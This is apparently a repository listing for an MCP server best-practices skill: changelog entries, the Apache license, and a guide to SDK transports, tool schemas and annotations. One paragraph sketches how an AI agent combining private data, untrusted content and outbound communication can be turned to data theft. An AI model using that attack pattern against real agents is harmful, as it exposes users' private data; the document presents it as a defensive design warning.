    - Spec-normative 405 rule for Streamable HTTP GET: a server not offering an SSE stream MUST return 405 Method Not Allowed. Hand-rolled stateless servers answering GET with an empty 200 send official-SDK clients into reconnect storms; the official TS client special-cases 405 as the benign no-stream signal, while any other non-OK status (including 406) throws. Also: stateless transport instances are single-use.
    - "Result-size budgets": per-client caps table (Claude Code 25k tokens default via `MAX_MCP_OUTPUT_TOKENS`, per-tool `_meta["anthropic/maxResultSizeChars"]` up to 500k chars; Codex 10,000-byte default truncation, configurable via `tool_output_token_limit`; Gemini CLI 40,000-char default head/tail truncation), output-cap enforcement pattern (single backstop wrapper at the registration chokepoint, item-boundary trimming with cursor hint, JSON overflow envelope, never truncate `isError` results), and connection-level configuration via URL query params (`?tools=`, `?max_chars=`).
    - 2025-11-25 tool-surface fields previously unmentioned: `icons` metadata (SEP-973), `execution.taskSupport` (`"forbidden"`/`"optional"`/`"required"`), and the `listChanged` capability + `notifications/tools/list_changed` paired with the dynamic tool loading advice.
    - Non-text tool-result content types (`image`, `audio`, `resource_link`, embedded `resource`) with content annotations (`audience`, `priority`, `lastModified`), plus the image-returning tool pattern: downscaled `ImageContent` preview + text metadata + URL to the untouched original; never inline full-res base64.
    - Forgiving input recovery principle in error handling: recover unambiguous inputs (URL vs bare handle, common param aliases) instead of erroring; reserve `isError` for genuine ambiguity with an actionable hint.
    - OAuth ops gotcha: a server-side 500 on the token endpoint surfaces to MCP clients as a misleading "requires re-authorization" and stays latent until token refresh - monitor the token endpoint distinctly, gate deploys on pending migrations.
    - RC deltas missing from the draft-direction list: SSE resumability/`Last-Event-ID` removed (SEP-2575); server-initiated requests only while processing a client request, now required (SEP-2260); `notifications/elicitation/complete` and `elicitationId` removed; sampling `includeContext` values deprecated (SEP-2596); auth hardening SEPs 837 (`application_type` at DCR), 2207 (refresh-token guidance), 2350 (scope accumulation during step-up), 2351 (`.well-known` suffix).
    - v2-migration: "Beta.1 -> Beta.3 Changes" section - CJS builds restored (PR #2405), 415 for non-JSON POSTs + `isJsonContentType()` (PR #2441), HTTP 400 for post-dispatch -32021 (PR #2399), cross-bundle `instanceof` brands + `X.isInstance()` (PR #2384), session-ID hygiene on initialize (PR #2469), `inputRequired.elicit()` accepts Standard Schema/Zod (PR #2369), runtime-neutral `requireBearerAuth` + `oauthMetadataResponse` for web-standard hosts (PRs #2420/#2422), server-legacy deprecated and frozen at beta.2.
    - Pointers: canonical SDK docs site (ts.sdk.modelcontextprotocol.io, /v2/), MCP Inspector/debugging guides, client-best-practices doc (progressive tool discovery, code mode/PTC), conformance suite + SDK tiers, Server Card WG (`.well-known/mcp.json`).
    
    ### Changed
    - v2 pin beta.1 -> beta.3 (beta.2 2026-07-02, beta.3 2026-07-09); noted the npm `latest` dist-tag resolves to the beta, so a plain `npm install` gets the prerelease.
    - v2 is no longer ESM-only: beta.2 ships CommonJS builds alongside ESM; runtime support documented as Node.js 20+/Bun/Deno.
    - Softened the beta.1 "`CallToolResult.content` required at the wire boundary" claim: beta.3 normalizes legacy content-less results to `content: []` (2026-era wire schemas stay strict).
    - Next spec reframed from unstamped draft to locked Release Candidate (locked 2026-05-21; final publishes 2026-07-28); section renamed "Spec 2026-07-28 RC Direction".
    - MCP Apps client matrix expanded: Microsoft 365 Copilot, Cursor, Archestra.AI, PostHog Code; Archestra.AI is the first client with Enterprise-Managed Authorization.
    - Tool naming rules attributed as spec SHOULD, not hard requirements.
    
    ### Fixed
    - Corrected the stateless-transport GET gotcha (refuted against SDK source): `WebStandardStreamableHTTPServerTransport` returns 406 only when the Accept header lacks `text/event-stream`; a conforming GET opens a hanging 200 SSE stream (it never returns 405 for GET).
    - Dead link `spec.modelcontextprotocol.io` (SSL failure) replaced with `modelcontextprotocol.io/specification/latest`.
    - Dead IETF datatracker link for `draft-payment-transport-mcp` replaced with the self-published draft at paymentauth.org; added companion `-32043` "payment verification failed" code.
    - SEP-2140 citation updated: issue closed 2026-01-23 in favor of spec PR #2145.
    
    Verified against: @modelcontextprotocol/server@2.0.0-beta.3
    
    ## [0.7.1] - 2026-07-10
    
    ### Changed
    - CHANGELOG preamble pinned to Keep a Changelog 2.0.0 (format unchanged; KaC 2.0.0 keeps existing changelogs valid).
    
    ## [0.7.0] - 2026-07-01
    
    ### Added
    - New SKILL.md section "Other Server Primitives" covering core primitives the skill previously omitted (all grep-verified absent): **Prompts** (`prompts/list`/`get`, `registerPrompt`), **Resource Templates** (`resources/templates/list`, RFC 6570), protocol-level **Pagination** (opaque `cursor`/`nextCursor` on every `*/list`, distinct from in-tool `offset`/`limit`), **Completions** (`completion/complete` for prompt args + template vars), and **Cancellation** (`notifications/cancelled`).
    - v2 migration ref: two new packages - `@modelcontextprotocol/server-legacy` (frozen v1 SSE transport + OAuth AS helpers, PR #2206) and `@modelcontextprotocol/codemod` (`npx @modelcontextprotocol/codemod@beta v1-to-v2 .`).
    - New "Alpha -> Beta Changes (2.0.0-beta.1)" subsection in v2-migration.md: web-standards-only `createMcpHandler` + `toNodeHandler`, `serveStdio()`, `eraSupport` removed, `Ajv2020` default validator (true 2020-12), `CallToolResult.content` now required (missing -> -32602), `structuredContent` widened to `unknown`, error-code renumbering (-32020/-32021/-32022), TS>=6.0 needs `"types": ["node"]` (PR #2286, #2394).
    - error-handling.md: note that a payment/auth challenge returned as `isError` rides HTTP 200 (not 401/402) - parse the JSON-RPC body, don't gate on status code.
    - tool-schema-guide.md: client-side typing note that `CallToolResult`'s `[x: string]: unknown` index signature defeats narrowing on `result.content`.
    
    ### Changed
    - v2 status corrected from "alpha only / 2.0.0-alpha.2" to **beta** (`2.0.0-beta.1`, npm `latest`, published 2026-06-30); stable v2 targeted to ship alongside the finalized spec on 2026-07-28. Updated Quick Reference, frontmatter description, v2 imports header, and v2-migration.md header + timeline.
    - Spec Draft Direction: v2 beta.1 now fully implements the `2026-07-28` target wire contract (was "begun landing wire-contract types on main"); spec revision itself remains an undated draft. Added post-2026-06-10 draft deltas: `subscriptions/listen` replacing `resources/subscribe`/`unsubscribe` + the GET stream and removing `ping`/`logging/setLevel`/`notifications/roots/list_changed` (SEP-2575), required `resultType` + `InputRequiredResult` under MRTR (SEP-2322), error-code allocation/renumbering (PR #2907), OTel trace-context in `_meta` (SEP-414).
    - Tasks: now the `io.modelcontextprotocol/tasks` extension; draft redesign replaces blocking `tasks/result` with polling `tasks/get` + `tasks/update`, drops `tasks/list`, allows unsolicited task handles (SKILL.md + extensions-registry.md).
    - Enterprise-Managed Authorization extension marked **Stable** (was Draft; launched 2026-06-18).
    
    Verified against: @modelcontextprotocol/server@2.0.0-beta.1
    
    ## [0.6.0] - 2026-06-10
    
    ### Added
    - New section "Spec Draft Direction (post-2025-11-25, unreleased)" - the draft spec's stateless/sessionless overhaul: removal of the `initialize` handshake and `Mcp-Session-Id` (SEP-2575/2567, state via server-minted handles passed as tool args), `server/discover` RPC, Multi Round-Trip Requests replacing server-initiated `roots/list`/`sampling`/`elicitation` (SEP-2322), `subscriptions/listen` (SEP-2575), `CacheableResult`/`ttlMs`/`cacheScope` (SEP-2549), required `Mcp-Method`/`Mcp-Name` headers + `x-mcp-header` (SEP-2243), schema loosening to full JSON Schema 2020-12 / any-JSON structuredContent (SEP-2106). Formal feature-lifecycle deprecation of Roots/Sampling/Logging (SEP-2577) and the HTTP+SSE transport (SEP-2596); DCR deprecated in favor of Client ID Metadata Documents (PR #2858); `iss` validation / issuer-keyed credentials (SEP-2468/2352). Flagged as unreleased draft; the TS SDK has begun landing 2026-07-28 wire-contract types on `main` (#2252).
    - `transport-patterns.md`: operational gotchas for stateless servers - the client's SSE-opening `GET /mcp` is rejected with 406 (can tear down some clients); only `JSON.parse` the POST body and route GET/DELETE straight to the transport.
    
    ### Changed
    - Quick Reference "Next" column for Spec now points to the draft direction instead of "-".
    - ext-apps pin 1.7.2 -> 1.7.4 (1.7.3 lazy-auth-server example; 1.7.4 npm-audit/transitive security bumps - "No SDK API changes in this release"). SDK v1.29.0 and server 2.0.0-alpha.2 re-confirmed as the latest published versions.
    
    Verified against: @modelcontextprotocol/ext-apps@1.7.4
    
    ## [0.5.0] - 2026-06-05
    
    ### Added
    - New section "Tool Result Delivery: `content` vs `structuredContent`" - the dual-channel shadowing footgun, prominent in SKILL.md. Empirically tested Claude Code 2.1.165 delivery matrix (via `claude -p --output-format=stream-json`): when both a text block and `structuredContent` are returned, the text block is silently dropped and `structuredContent` wins; `outputSchema` makes zero difference; `content: []` + `structuredContent` works (stringified into the content slot). Includes the maintainer confirmation (anthropics/claude-code#9962, intentional since Claude Code v2.0.21), the spec's no-precedence-rule gap (Discussion #1563, SEP-1624 -> SEP-2200), and a cross-client table (Claude Code/Codex CLI/VS Code Copilot/Goose shadow; Cursor/Claude.ai web/ChatGPT prefer content or both; Google ADK forwards both).
    - Server-author DO/DON'T rule: never return divergent `content`/`structuredContent`; if emitting `structuredContent`, mirror identical bytes into a text block (the spec's backwards-compat SHOULD); prefer one channel per tool/mode; `outputSchema` does not change delivery.
    
    ### Changed
    - `structuredContent` is not a separate typed channel to the model on Claude Code - it is stringified into the `tool_result` content slot at the same token cost as JSON-as-text. Corrected the Token Bloat Mitigation bullet and the reference's "Token Benefits" -> "Token Reality" to stop implying a free out-of-band channel.
    - v2 `registerTool` example and the `tool-schema-guide.md` weather example now carry inline comments that both channels MUST hold identical bytes.
    
    ## [0.4.0] - 2026-05-21
    
    ### Added
    - Advisory-deprecation note for Roots, Sampling, and Logging (SEP-2577, final 2026-05-15) - no wire changes, features stay functional for 1+ year.
    - Schema rule: `outputSchema` / nested response objects that forward upstream API data should default to `.passthrough()`; keep `inputSchema` strict.
    
    ### Changed
    - ext-apps pin 1.7.1 -> 1.7.2 (example/dependency maintenance; no App-class API changes).
    - #1643 (`z.union()`/`z.discriminatedUnion()` empty schema): clarified the fix landed in the v2 line (PR #1796); the v1.x backport (PR #2017) is still open, so the bug is present on every released v1 version.
    - Resource-not-found error code: spec standardized on `-32602` (SEP-2164, final 2026-05-18); `-32002` is the legacy code clients should still accept. Corrects the earlier "new -32002" wording.
    - v2 stable timeline: removed the unreliable "Q3 2026" / contradictory "Q1 2026" dates; only `2.0.0-alpha.2` is published.
    - Tasks: SEP-1686 superseded by SEP-2663 (final, 2026-05-15) - Tasks moved out of the core `2025-11-25` spec into an official extension (`tasks/get` / `tasks/update` / `tasks/cancel`).
    
    Verified against: @modelcontextprotocol/sdk@1.29.0, @modelcontextprotocol/server@2.0.0-alpha.2, @modelcontextprotocol/ext-apps@1.7.2
    
    ## [0.3.1] - 2026-04-30
    
    ### Changed
    - Display-name alignment (Wave 2 repo-wide pass); no content changes.
    
    ## [0.3.0] - 2026-04-29
    
    ### Added
    - AJV strict-validation gotcha for `outputSchema` / `structuredContent` (server Zod strips, client AJV rejects unstripped extras), with operational note about cached schemas.
    - Path-aware `WWW-Authenticate.resource_metadata` discovery requirement (RFC 9728 / RFC 8414 path-insertion).
    - v2 alpha breaking changes: unknown-tool returns JSON-RPC `-32602`; resource-not-found uses new `-32002`; `WebSocketClientTransport` removed; `discoverOAuthServerInfo()` and `AuthProvider` interface in v2 client.
    - `@modelcontextprotocol/fastify` middleware adapter to v2 package list.
    - ext-apps v1.7.0 surface: `App.registerTool()` / `sendToolListChanged()` (WebMCP-style), `createSamplingMessage`, `allowUnsafeEval` for strict CSP.
    - ext-apps SEP-1865 stable status (2026-01-26).
    - IETF `-32042` "Payment Required" code (`draft-payment-transport-mcp-00`) as canonical payment-error pattern alongside the ecosystem `isError` convention.
    - CVE-2026-0621 (UriTemplate ReDoS) and CVE-2026-25536 (cross-client response leak); minimum SDK `≥ v1.26.0` requirement.
    - Stdio-config command-injection warning (OX Security 2026-04-15 disclosure).
    - Token-audience pitfalls (collapsed audience, opaque-vs-JWT) commonly hit when wiring Better-Auth / Auth0 to MCP.
    
    ### Changed
    - TS SDK v1 stable pin: 1.28.0 → 1.29.0.
    - v2 status: "pre-alpha on `main`" → "alpha published as `2.0.0-alpha.2`".
    - v2 schema rules: any Standard Schema library works (Zod v4, Valibot, ArkType); `zod` dropped from `peerDependencies`; `fromJsonSchema` adapter for raw JSON Schema.
    - ext-apps `App` class API names corrected: `app.log` → `sendLog`, `openUrl` → `openLink`, `updateContext` → `updateModelContext`; expanded method list.
    - ext-apps `registerAppResource` signature corrected to `(server, name, uri, config, readCallback)`.
    - MCP Registry status: "preview, breaking changes possible" → "preview, API freeze v0.1 since 2025-10-24".
    
    ### Fixed
    - Known SDK Bugs table: #1643 (`z.discriminatedUnion()` empty schema) marked **Fixed on `main`** (closed 2026-03-30); flat-object workaround still useful for v1.x.
    - Known SDK Bugs table: #1699 (transport closure stack overflow) marked **Fixed in PR #1788** (closed 2026-04-02).
    - Known SDK Bugs table: #1619 (HTTP/2 + SSE Content-Length) marked **Closed** - reclassified as upstream `@hono/node-server#266`.
    - Removed incorrect PR #1075 citation for `error.data` loss (that PR is a TS-Go check script); reframed as ecosystem-observed SDK behavior.
    
    ### Removed
    - Stale "SDK v1 = Zod v3" rule and "Zod v4 Incompatibility (#925)" section - issue closed 2025-11-21; v1.23+ accepts Zod v3 or v4.
    
    Verified against: @modelcontextprotocol/sdk@1.29.0, @modelcontextprotocol/server@2.0.0-alpha.2, @modelcontextprotocol/ext-apps@1.7.1
    
    ## [0.2.1] - 2026-04-09
    - Initial CHANGELOG; tracking established.
    
  • LICENSE.txt 8.9 KB
    Apache License
    Version 2.0, January 2004
    https://www.apache.org/licenses/
    
    TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
    
    1. Definitions.
    
    "License" shall mean the terms and conditions for use, reproduction, and
    distribution as defined by Sections 1 through 9 of this document.
    
    "Licensor" shall mean the copyright owner or entity authorized by the
    copyright owner that is granting the License.
    
    "Legal Entity" shall mean the union of the acting entity and all other
    entities that control, are controlled by, or are under common control with
    that entity. For the purposes of this definition, "control" means (i) the
    power, direct or indirect, to cause the direction or management of such
    entity, whether by contract or otherwise, or (ii) ownership of fifty percent
    (50%) or more of the outstanding shares, or (iii) beneficial ownership of
    such entity.
    
    "You" (or "Your") shall mean an individual or Legal Entity exercising
    permissions granted by this License.
    
    "Source" form shall mean the preferred form for making modifications,
    including but not limited to software source code, documentation source, and
    configuration files.
    
    "Object" form shall mean any form resulting from mechanical transformation or
    translation of a Source form, including but not limited to compiled object
    code, generated documentation, and conversions to other media types.
    
    "Work" shall mean the work of authorship, whether in Source or Object form,
    made available under the License, as indicated by a copyright notice that is
    included in or attached to the work (an example is provided in the Appendix
    below).
    
    "Derivative Works" shall mean any work, whether in Source or Object form,
    that is based on (or derived from) the Work and for which the editorial
    revisions, annotations, elaborations, or other modifications represent, as a
    whole, an original work of authorship. For the purposes of this License,
    Derivative Works shall not include works that remain separable from, or
    merely link (or bind by name) to the interfaces of, the Work and Derivative
    Works thereof.
    
    "Contribution" shall mean any work of authorship, including the original
    version of the Work and any modifications or additions to that Work or
    Derivative Works thereof, that is intentionally submitted to Licensor for
    inclusion in the Work by the copyright owner or by an individual or Legal
    Entity authorized to submit on behalf of the copyright owner. For the
    purposes of this definition, "submitted" means any form of electronic, verbal,
    or written communication sent to the Licensor or its representatives,
    including but not limited to communication on electronic mailing lists, source
    code control systems, and issue tracking systems that are managed by, or on
    behalf of, the Licensor for the purpose of discussing and improving the Work,
    but excluding communication that is conspicuously marked or otherwise
    designated in writing by the copyright owner as "Not a Contribution."
    
    "Contributor" shall mean Licensor and any individual or Legal Entity on
    behalf of whom a Contribution has been received by Licensor and subsequently
    incorporated within the Work.
    
    2. Grant of Copyright License. Subject to the terms and conditions of this
    License, each Contributor hereby grants to You a perpetual, worldwide,
    non-exclusive, no-charge, royalty-free, irrevocable copyright license to
    reproduce, prepare Derivative Works of, publicly display, publicly perform,
    sublicense, and distribute the Work and such Derivative Works in Source or
    Object form.
    
    3. Grant of Patent License. Subject to the terms and conditions of this
    License, each Contributor hereby grants to You a perpetual, worldwide,
    non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this
    section) patent license to make, have made, use, offer to sell, sell, import,
    and otherwise transfer the Work, where such license applies only to those
    patent claims licensable by such Contributor that are necessarily infringed by
    their Contribution(s) alone or by combination of their Contribution(s) with
    the Work to which such Contribution(s) was submitted. If You institute patent
    litigation against any entity (including a cross-claim or counterclaim in a
    lawsuit) alleging that the Work or a Contribution incorporated within the Work
    constitutes direct or contributory patent infringement, then any patent
    licenses granted to You under this License for that Work shall terminate as of
    the date such litigation is filed.
    
    4. Redistribution. You may reproduce and distribute copies of the Work or
    Derivative Works thereof in any medium, with or without modifications, and in
    Source or Object form, provided that You meet the following conditions:
    
    (a) You must give any other recipients of the Work or Derivative Works a copy
    of this License; and
    
    (b) You must cause any modified files to carry prominent notices stating that
    You changed the files; and
    
    (c) You must retain, in the Source form of any Derivative Works that You
    distribute, all copyright, patent, trademark, and attribution notices from
    the Source form of the Work, excluding those notices that do not pertain to
    any part of the Derivative Works; and
    
    (d) If the Work includes a "NOTICE" text file as part of its distribution,
    then any Derivative Works that You distribute must include a readable copy of
    the attribution notices contained within such NOTICE file, excluding those
    notices that do not pertain to any part of the Derivative Works, in at least
    one of the following places: within a NOTICE text file distributed as part of
    the Derivative Works; within the Source form or documentation, if provided
    along with the Derivative Works; or, within a display generated by the
    Derivative Works, if and wherever such third-party notices normally appear.
    The contents of the NOTICE file are for informational purposes only and do not
    modify the License. You may add Your own attribution notices within Derivative
    Works that You distribute, alongside or as an addendum to the NOTICE text from
    the Work, provided that such additional attribution notices cannot be
    construed as modifying the License.
    
    You may add Your own copyright statement to Your modifications and may provide
    additional or different license terms and conditions for use, reproduction, or
    distribution of Your modifications, or for any such Derivative Works as a
    whole, provided Your use, reproduction, and distribution of the Work otherwise
    complies with the conditions stated in this License.
    
    5. Submission of Contributions. Unless You explicitly state otherwise, any
    Contribution intentionally submitted for inclusion in the Work by You to the
    Licensor shall be under the terms and conditions of this License, without any
    additional terms or conditions. Notwithstanding the above, nothing herein
    shall supersede or modify the terms of any separate license agreement you may
    have executed with Licensor regarding such Contributions.
    
    6. Trademarks. This License does not grant permission to use the trade names,
    trademarks, service marks, or product names of the Licensor, except as
    required for reasonable and customary use in describing the origin of the Work
    and reproducing the content of the NOTICE file.
    
    7. Disclaimer of Warranty. Unless required by applicable law or agreed to in
    writing, Licensor provides the Work (and each Contributor provides its
    Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
    KIND, either express or implied, including, without limitation, any warranties
    or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
    PARTICULAR PURPOSE. You are solely responsible for determining the
    appropriateness of using or redistributing the Work and assume any risks
    associated with Your exercise of permissions under this License.
    
    8. Limitation of Liability. In no event and under no legal theory, whether in
    tort (including negligence), contract, or otherwise, unless required by
    applicable law (such as deliberate and grossly negligent acts) or agreed to in
    writing, shall any Contributor be liable to You for damages, including any
    direct, indirect, special, incidental, or consequential damages of any
    character arising as a result of this License or out of the use or inability to
    use the Work (including but not limited to damages for loss of goodwill, work
    stoppage, computer failure or malfunction, or any and all other commercial
    damages or losses), even if such Contributor has been advised of the
    possibility of such damages.
    
    9. Accepting Warranty or Additional Liability. While redistributing the Work
    or Derivative Works thereof, You may choose to offer, and charge a fee for,
    acceptance of support, warranty, indemnity, or other liability obligations
    and/or rights consistent with this License. However, in accepting such
    obligations, You may act only on Your own behalf and on Your sole
    responsibility, not on behalf of any other Contributor, and only if You agree
    to indemnify, defend, and hold each Contributor harmless for any liability
    incurred by, or claims asserted against, such Contributor by reason of your
    accepting any such warranty or additional liability.
    
    END OF TERMS AND CONDITIONS
    
  • SKILL.md 32.7 KB
    ---
    name: mcp-best-practices
    description: Build, harden, and debug production MCP servers with the TypeScript SDK. Use when writing or reviewing an MCP server - transports, tool schemas, errors, OAuth, token bloat, SDK migrations, MCP Apps, Registry. Assumes a server already exists.
    metadata:
      version: "1.2.1"
      categories: "development, integrations"
      topics: "mcp, typescript-sdk, tool-design, transports, server-hardening"
      upstream: "@modelcontextprotocol/sdk@1.30.0, @modelcontextprotocol/server@2.0.0, @modelcontextprotocol/ext-apps@2.0.0, modelcontextprotocol-spec@2026-07-28"
      openclaw:
        homepage: https://github.com/tenequm/skills/tree/main/skills/mcp-best-practices
        emoji: "🔌"
        envVars:
          - name: MAX_MCP_OUTPUT_TOKENS
            required: false
            description: Claude Code client-side cap on MCP tool result size, referenced in the result-size budget guidance
    ---
    
    # MCP Best Practices
    
    Decision reference for building production MCP servers with the TypeScript SDK. Not a tutorial - assumes you already have a working server and need to make it correct, fast, and secure.
    
    ## Quick Reference
    
    | Component | Current | Notes |
    |-----------|---------|-------|
    | Spec (released) | **2026-07-28** ([specification](https://modelcontextprotocol.io/specification/latest)) | Stateless/sessionless overhaul - see "Spec 2026-07-28" below and `references/spec-2026-07-28.md` |
    | Spec (still deployed) | **2025-11-25** | What most shipped clients and servers actually speak today; the v2 SDK's default |
    | TS SDK (current) | **v2.0.0** (2026-07-27), nine packages in lockstep: `/server`, `/client`, `/core`, `/hono`, `/express`, `/node`, `/fastify`, `/codemod`, `/server-legacy` | Speaks 2025-era by default; 2026-07-28 is opt-in |
    | TS SDK (legacy) | **v1.30.0** (`@modelcontextprotocol/sdk`) | Bug + security fixes for >=6 months after v2 GA; source on the [`v1.x` branch](https://github.com/modelcontextprotocol/typescript-sdk/tree/v1.x) |
    | JSON Schema | **2020-12** default (2019-09 / draft-07 accepted since v2.0.0) | - |
    | Transport | **Streamable HTTP** (remote), **stdio** (local) | SSE + WebSocket removed in v2 |
    | Extensions | **MCP Apps** (Stable, SEP-1865), **Auth Extensions** (official), **Tasks** ([ext-tasks](https://github.com/modelcontextprotocol/ext-tasks)) | Domain-specific WGs |
    | Registry | **Preview** with v0.1 API freeze since 2025-10-24 ([registry](https://modelcontextprotocol.io/registry/about)) | GA pending |
    
    **v2 imports** (current):
    ```typescript
    import { McpServer } from "@modelcontextprotocol/server";
    import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/server";
    import { ProtocolError, ProtocolErrorCode } from "@modelcontextprotocol/core";
    ```
    
    **v1 imports** (legacy line, still widely deployed):
    ```typescript
    import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
    import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js";
    import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
    ```
    
    ### The Two Eras
    
    The most decision-relevant fact after the 2026-07-28 release: **upgrading to SDK v2.0.0 does not move you to the new spec.** A hand-constructed `Client`/`Server`/`McpServer` keeps speaking the 2025-era protocol it was written for.
    
    Every revision from `2024-10-07` through `2025-11-25` opens with `initialize` and shares one wire behavior - the SDK calls that family **legacy**. `2026-07-28` starts the **modern** era: no `initialize`, a `server/discover` advertisement instead, a `_meta` envelope on every request. Selection is explicit:
    
    | `versionNegotiation.mode` | Behavior |
    |---|---|
    | absent / `'legacy'` | The 2025 `initialize` handshake, byte for byte. No probe. **This is the default.** |
    | `'auto'` | Probe with `server/discover`; fall back to `initialize` against a 2025-only server |
    | `{ pin: '2026-07-28' }` | That revision or nothing - a pin never falls back |
    
    Build new servers on the 2025-era wire unless you control both ends. The stateless design guidance throughout this skill is what makes the eventual era switch cheap.
    
    Tooling: [SDK docs](https://ts.sdk.modelcontextprotocol.io) ([v2](https://ts.sdk.modelcontextprotocol.io/v2/)); [MCP Inspector](https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector), which **connects as `legacy` by default** (see "Testing Against Each Era" in `references/spec-2026-07-28.md`); the [conformance suite](https://github.com/modelcontextprotocol/conformance); and the [`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev) for scaffolding.
    
    ## Server Setup
    
    ### Transport Decision
    
    | Scenario | Transport | Key Config |
    |----------|-----------|------------|
    | Remote, stateless (K8s, CF Workers) | `WebStandardStreamableHTTPServerTransport` | `sessionIdGenerator: undefined`, `enableJsonResponse: true` |
    | Remote, stateful (long tasks, SSE) | `WebStandardStreamableHTTPServerTransport` | `sessionIdGenerator: () => randomUUID()` |
    | Local CLI / Claude Desktop | `StdioServerTransport` | Default |
    | Legacy SSE clients | SSE removed in v2 - migrate to Streamable HTTP | - |
    
    ### Stateless Pattern (recommended for remote deployment)
    
    Per-request server+transport creation is the canonical pattern. Maintainer @ihrpr confirms: "each transport should have an instance of MCPServer" ([#343](https://github.com/modelcontextprotocol/typescript-sdk/issues/343)). Sharing instances leaks cross-client data (GHSA-345p-7cg4-v4c7).
    
    ```typescript
    app.post("/mcp", async (c) => {
      const server = new McpServer({ name: "my-server", version: "1.0.0" });
      // Register tools, resources, prompts...
      registerTools(server);
    
      const transport = new WebStandardStreamableHTTPServerTransport({
        sessionIdGenerator: undefined,   // stateless - no session tracking
        enableJsonResponse: true,        // JSON responses, no SSE streaming
        // Origin/Host checking is OFF unless you turn it on: the SDK defaults
        // enableDnsRebindingProtection to false and leaves both lists unset.
        enableDnsRebindingProtection: true,
        allowedOrigins: ["https://app.example.com"],
        allowedHosts: ["mcp.example.com"],
      });
    
      // All tools/resources must be registered before connect() (#893)
      try {
        await server.connect(transport);
        return transport.handleRequest(c.req.raw);
      } finally {
        await transport.close();
        await server.close();
      }
    });
    ```
    
    The `McpServer` must be per-request, but its constant inputs must not be. **Hoist to module level**: Zod schemas, annotation objects (`{ readOnlyHint: true, ... }`), tool description strings, payment configs, upstream API clients.
    
    **If you only route POST** (the common stateless layout), answer `GET /mcp` with an explicit **405 Method Not Allowed** - the spec requires it when no SSE stream is offered, and the official TS client reads 405 as the benign no-stream signal, while an empty `200` sends it into a reconnect storm.
    
    > For transports, sessions, HTTP/2 gotchas, and K8s deployment: see `references/transport-patterns.md`
    
    ### Framework Integration
    
    The transport is web-standard, so Hono and the Workers runtime need no adapter; v2 also ships `@modelcontextprotocol/hono` (`createMcpHonoApp()`) and `@modelcontextprotocol/express` (wrapping `NodeStreamableHTTPServerTransport` for `IncomingMessage`/`ServerResponse`). On Cloudflare Workers call `preloadSchemas()` at module scope - v2's workerd build does it automatically. Examples: `references/transport-patterns.md`.
    
    ## Tool Design
    
    ### Registration API
    
    **v1 (legacy line)** - `server.tool(name, description, zodShape, annotations, handler)`. Positional overloads are ambiguous; same fields as v2 below minus `outputSchema`. Removed entirely in v2.
    
    **v2 (current)** - `registerTool()` with config object:
    ```typescript
    server.registerTool("search_docs", {
      title: "Document Search",
      description: "Search documents by keyword or phrase",
      inputSchema: z.object({
        query: z.string().describe("Search query"),
        max_results: z.number().optional().describe("Max results (default 20)"),
      }),
      outputSchema: z.object({
        results: z.array(z.object({ id: z.string(), text: z.string() })),
        has_more: z.boolean(),
      }),
      annotations: { readOnlyHint: true, destructiveHint: false, idempotentHint: true, openWorldHint: true },
    }, async ({ query, max_results }) => {
      const result = await fetchDocs(query, max_results);
      return {
        // Both channels carry IDENTICAL bytes. Divergent payloads = the text block
        // silently vanishes on Claude Code/Codex/Copilot. See "Tool Result Delivery" below.
        structuredContent: result,
        content: [{ type: "text", text: JSON.stringify(result) }],
      };
    });
    ```
    
    ### Naming
    
    Spec 2025-11-25 (SHOULD, not MUST): 1-128 chars, case-sensitive, `A-Za-z0-9_-.` only. **DO**: `search_docs`, `get_user_profile`, `admin.tools.list`. **DON'T**: `search` (generic names collide across servers), `Search Docs` (spaces disallowed). Service-prefix (`github_*`, `jira_*`) when multiple servers are active - LLMs confuse generic names. Bake the prefix into the tool name itself: the spec is explicit that *"The server `name` (from `serverInfo`) is not guaranteed to be unique across servers and **SHOULD NOT** be relied upon for disambiguation"*, so an aggregator cannot derive a safe prefix for you.
    
    ### Schema Rules
    
    `.describe()` on every field - this is what LLMs use for argument generation. Three constructs break silently (`z.union()`, raw JSON Schema, `z.transform()`), as does client-side AJV strict validation - see "Known SDK Bugs" below.
    
    **Pagination** is the primitive most servers hit first: a `tools/list` or `resources/list` with 50+ entries should paginate. The protocol `cursor` is **opaque** - never parse or synthesize it; loop until `nextCursor` is absent. It is distinct from in-tool `offset`/`limit` args.
    
    > Zod-to-JSON-Schema conversion rules, outputSchema/structuredContent patterns, non-text content types, the other tool-definition fields (`icons`, `listChanged`, `execution.taskSupport`), and the remaining primitives (prompts, resources, resource templates, completions, cancellation): see `references/tool-schema-guide.md`
    
    ### Annotations
    
    All are optional hints (untrusted from untrusted servers per spec):
    
    | Annotation | Default | Meaning |
    |------------|---------|---------|
    | `readOnlyHint` | `false` | Tool doesn't modify its environment |
    | `destructiveHint` | `true` | May perform destructive updates (only when readOnly=false) |
    | `idempotentHint` | `false` | Repeated calls with same args have no additional effect |
    | `openWorldHint` | `true` | Interacts with external entities (APIs, web) |
    
    Set them accurately - clients use them for consent prompts and auto-approval decisions.
    
    **The "Lethal Trifecta"**: private-data access + exposure to untrusted content + external communication in one agent creates data-theft conditions (demonstrated with a malicious calendar event, an MCP calendar server, and a code-execution tool). Design tool sets so no single agent holds all three.
    
    ### Stateful Tools
    
    With no protocol-level session on 2026-07-28, cross-call state uses **server-minted handles passed as ordinary tool arguments**: a creation tool returns `{ basket_id: "bsk_a1b2c3" }`, later tools take `basket_id` as an argument, and the model carries it forward. A handle is a name, not a capability - validate the caller against it on *every* call, keep it opaque with real entropy, and state its retention policy in the *creation tool's description*. Expired or unknown handles return a tool execution error so the model can recover by creating new state. Full rules: `references/spec-2026-07-28.md`.
    
    ## Tool Result Delivery: `content` vs `structuredContent`
    
